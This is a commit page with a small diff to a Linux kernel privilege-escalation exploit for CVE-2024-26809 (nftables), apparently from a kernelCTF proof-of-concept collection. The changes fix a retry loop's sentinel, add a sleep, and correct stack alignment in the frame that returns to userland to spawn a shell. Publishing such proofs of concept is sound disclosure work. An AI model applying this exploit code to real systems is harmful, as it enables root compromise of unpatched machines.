Fix bug

google · Oct 20, 2024 · b76050f · b76050f
1 parent 8e8472f
commit b76050f
Show file tree

Hide file tree

Showing 2 changed files with 4 additions and 3 deletions.
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c
@@ -207,7 +207,7 @@ void exploit(struct nl_sock *socket){
     nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_table, NULL);
     int try_num = 0;
     char *table_name = malloc(0x100);
-    int e=0,f=0;
+    int e=0,f=-1;
     while(1){
 	printf("trying %d\n",try_num);
 	snprintf(table_name, 0x100, "table for test %d", try_num);
@@ -227,9 +227,10 @@ void exploit(struct nl_sock *socket){
 			break;
 		}
 	}
-	if(f!=0)
+	if(f!=-1)
 		break;
 	try_num++;
+	sleep(0.1);
 
     }
     //Now, we free many object to avoid crash
@@ -315,7 +316,7 @@ void exploit(struct nl_sock *socket){
     *(uint64_t *)&setelem_data[0x98] = (uint64_t)shell;
     *(uint64_t *)&setelem_data[0xa0] = user_cs;
     *(uint64_t *)&setelem_data[0xa8] = user_rflags;
-    *(uint64_t *)&setelem_data[0xb0] = user_rsp;//|8;
+    *(uint64_t *)&setelem_data[0xb0] = user_rsp|8;
     *(uint64_t *)&setelem_data[0xb8] = user_ss;
 
     //Step 10: Delete `nft_table F`.